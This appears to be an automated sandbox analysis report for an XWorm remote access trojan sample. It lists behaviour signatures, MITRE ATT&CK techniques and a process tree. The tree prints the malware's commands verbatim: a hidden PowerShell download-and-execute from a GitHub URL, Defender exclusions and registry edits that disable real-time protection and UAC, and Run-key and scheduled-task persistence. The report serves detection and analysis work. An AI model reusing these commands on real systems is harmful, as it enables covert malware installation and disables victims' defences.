xworm | 2c7829ad3fdf5698fdf93c8be35d2425e6129d566bbfdff280cd34462021dbd9

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	reg.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

defense_evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Badlisted process makes network request 4 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	1028	powershell.exe
3	1028	powershell.exe
4	1304	powershell.exe
5	1304	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 13 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3800	powershell.exe
1028	powershell.exe
1028	powershell.exe
3800	powershell.exe
3120	powershell.exe
4720	powershell.exe
3680	powershell.exe
3164	powershell.exe
388	powershell.exe
1684	powershell.exe
2220	powershell.exe
3032	powershell.exe
1304	powershell.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Security.lnk	Security.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Security.lnk	Security.exe

Executes dropped EXE 5 IoCs

pid	Process
3872	Security.exe
1548	Security.exe
1628	Security.exe
2748	Security.exe
3408	Security.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1383858298-2057492509-1726743289-1000\Software\Microsoft\Windows\CurrentVersion\Run\Security = "C:\\ProgramData\\Security.exe"	Security.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsPowerup = "C:\\ProgramData\\Win\\Security.exe"	reg.exe

Contacts third-party web service commonly abused for C2 1 TTPs 3 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
5	raw.githubusercontent.com
1	raw.githubusercontent.com
3	raw.githubusercontent.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	ip-api.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1383858298-2057492509-1726743289-1000_Classes\Local Settings	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

pid	Process
708	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
72	schtasks.exe
1012	schtasks.exe

Suspicious behavior: EnumeratesProcesses 23 IoCs

pid	Process
1028	powershell.exe
1028	powershell.exe
3800	powershell.exe
3800	powershell.exe
3120	powershell.exe
3120	powershell.exe
1684	powershell.exe
1684	powershell.exe
4720	powershell.exe
4720	powershell.exe
2220	powershell.exe
2220	powershell.exe
1304	powershell.exe
1304	powershell.exe
3680	powershell.exe
3680	powershell.exe
3164	powershell.exe
3164	powershell.exe
388	powershell.exe
388	powershell.exe
3032	powershell.exe
3032	powershell.exe
3872	Security.exe

Suspicious use of AdjustPrivilegeToken 17 IoCs

description	pid	Process
Token: SeDebugPrivilege	1028	powershell.exe
Token: SeDebugPrivilege	3800	powershell.exe
Token: SeDebugPrivilege	3120	powershell.exe
Token: SeDebugPrivilege	1684	powershell.exe
Token: SeDebugPrivilege	4720	powershell.exe
Token: SeDebugPrivilege	2220	powershell.exe
Token: SeDebugPrivilege	1304	powershell.exe
Token: SeDebugPrivilege	3872	Security.exe
Token: SeDebugPrivilege	3680	powershell.exe
Token: SeDebugPrivilege	3164	powershell.exe
Token: SeDebugPrivilege	388	powershell.exe
Token: SeDebugPrivilege	3032	powershell.exe
Token: SeDebugPrivilege	3872	Security.exe
Token: SeDebugPrivilege	1548	Security.exe
Token: SeDebugPrivilege	1628	Security.exe
Token: SeDebugPrivilege	2748	Security.exe
Token: SeDebugPrivilege	3408	Security.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3872	Security.exe

Suspicious use of WriteProcessMemory 27 IoCs

description	pid	Process	procid_target
PID 1728 wrote to memory of 1028	1728	cmd.exe	82
PID 1028 wrote to memory of 4268	1028	powershell.exe	83
PID 4268 wrote to memory of 3800	4268	cmd.exe	85
PID 4268 wrote to memory of 3120	4268	cmd.exe	86
PID 4268 wrote to memory of 1684	4268	cmd.exe	87
PID 4268 wrote to memory of 4720	4268	cmd.exe	88
PID 4268 wrote to memory of 2220	4268	cmd.exe	89
PID 4268 wrote to memory of 2820	4268	cmd.exe	90
PID 4268 wrote to memory of 4512	4268	cmd.exe	91
PID 4268 wrote to memory of 3300	4268	cmd.exe	92
PID 4268 wrote to memory of 1444	4268	cmd.exe	93
PID 4268 wrote to memory of 4936	4268	cmd.exe	94
PID 4268 wrote to memory of 2836	4268	cmd.exe	95
PID 4268 wrote to memory of 2044	4268	cmd.exe	96
PID 4268 wrote to memory of 4356	4268	cmd.exe	97
PID 4268 wrote to memory of 916	4268	cmd.exe	98
PID 4268 wrote to memory of 5032	4268	cmd.exe	99
PID 4268 wrote to memory of 708	4268	cmd.exe	100
PID 4268 wrote to memory of 1304	4268	cmd.exe	101
PID 4268 wrote to memory of 3920	4268	cmd.exe	102
PID 4268 wrote to memory of 72	4268	cmd.exe	103
PID 4268 wrote to memory of 3872	4268	cmd.exe	104
PID 3872 wrote to memory of 3680	3872	Security.exe	106
PID 3872 wrote to memory of 3164	3872	Security.exe	108
PID 3872 wrote to memory of 388	3872	Security.exe	110
PID 3872 wrote to memory of 3032	3872	Security.exe	112
PID 3872 wrote to memory of 1012	3872	Security.exe	114

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\payment.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1728
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "& {Invoke-WebRequest -Uri 'https://github.com/moyousry95/slash2/raw/refs/heads/main/Security.ico' -OutFile $env:TEMP\Security.bat; Start-Process -FilePath $env:TEMP\Security.bat -WindowStyle Hidden -Verb RunAs}"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1028
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\Security.bat"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4268
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      Powershell -windowstyle hidden Add-MpPreference -ExclusionPath 'C:'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3800
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      Powershell Add-MpPreference -ExclusionPath 'c:\'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3120
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      Powershell Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1684
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      Powershell Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4720
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      Powershell Add-MpPreference -ExclusionPath 'C:\programdata\Windata'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2220
  - - C:\Windows\system32\reg.exe
      reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\PushNotifications" /v ToastEnabled /t REG_DWORD /d 0 /f
      4⤵
      PID:2820
  - - C:\Windows\system32\reg.exe
      reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\PushNotifications" /v LockScreenToastEnabled /t REG_DWORD /d 0 /f
      4⤵
      PID:4512
  - - C:\Windows\system32\reg.exe
      reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Notifications\Settings\MSEdge" /v Enabled /t REG_DWORD /d 0 /f
      4⤵
      PID:3300
  - - C:\Windows\system32\reg.exe
      reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Notifications\Settings\Windows.Defender.SecurityCenter" /v Enabled /t REG_DWORD /d 0 /f
      4⤵
      PID:1444
  - - C:\Windows\system32\reg.exe
      reg add "HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Explorer" /v DisableNotificationCenter /t REG_DWORD /d 1 /f
      4⤵
      PID:4936
  - - C:\Windows\system32\reg.exe
      reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
      4⤵
      Modifies Windows Defender Real-time Protection settings
      PID:2836
  - - C:\Windows\system32\reg.exe
      reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Features" /v "TamperProtection" /t REG_DWORD /d "1" /f
      4⤵
      PID:2044
  - - C:\Windows\system32\reg.exe
      reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
      4⤵
      PID:4356
  - - C:\Windows\system32\reg.exe
      reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v TamperProtection /t REG_DWORD /d "1" /f
      4⤵
      PID:916
  - - C:\Windows\system32\reg.exe
      reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
      4⤵
      Modifies Windows Defender DisableAntiSpyware settings
      PID:5032
  - - C:\Windows\system32\reg.exe
      reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
      4⤵
      UAC bypass
      Modifies registry key
      PID:708
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('https://github.com/moyousry95/slash2/raw/refs/heads/main/Security.exe','C:\ProgramData\Win\Security.exe')
      4⤵
      Badlisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1304
  - - C:\Windows\system32\reg.exe
      REG ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "WindowsPowerup" /t REG_SZ /F /D "C:\ProgramData\Win\Security.exe"
      4⤵
      Adds Run key to start application
      PID:3920
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn WindowsUpdate /ru "Admin" /sc ONSTART /DELAY 0000:30 /RL HIGHEST /tr "C:\ProgramData\Win\Security.exe" /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:72
  - - C:\ProgramData\Win\Security.exe
      C:\ProgramData\Win\Security.exe
      4⤵
      Drops startup file
      Executes dropped EXE
      Adds Run key to start application
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:3872
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\Win\Security.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3680
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Security.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3164
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\Security.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:388
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Security.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3032
    - - C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Security" /tr "C:\ProgramData\Security.exe"
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:1012

C:\ProgramData\Security.exe
C:\ProgramData\Security.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1548

C:\PROGRA~3\Security.exe
C:\PROGRA~3\Security.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1628

C:\ProgramData\Security.exe
C:\ProgramData\Security.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2748

C:\ProgramData\Security.exe
C:\ProgramData\Security.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3408

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

Modify Registry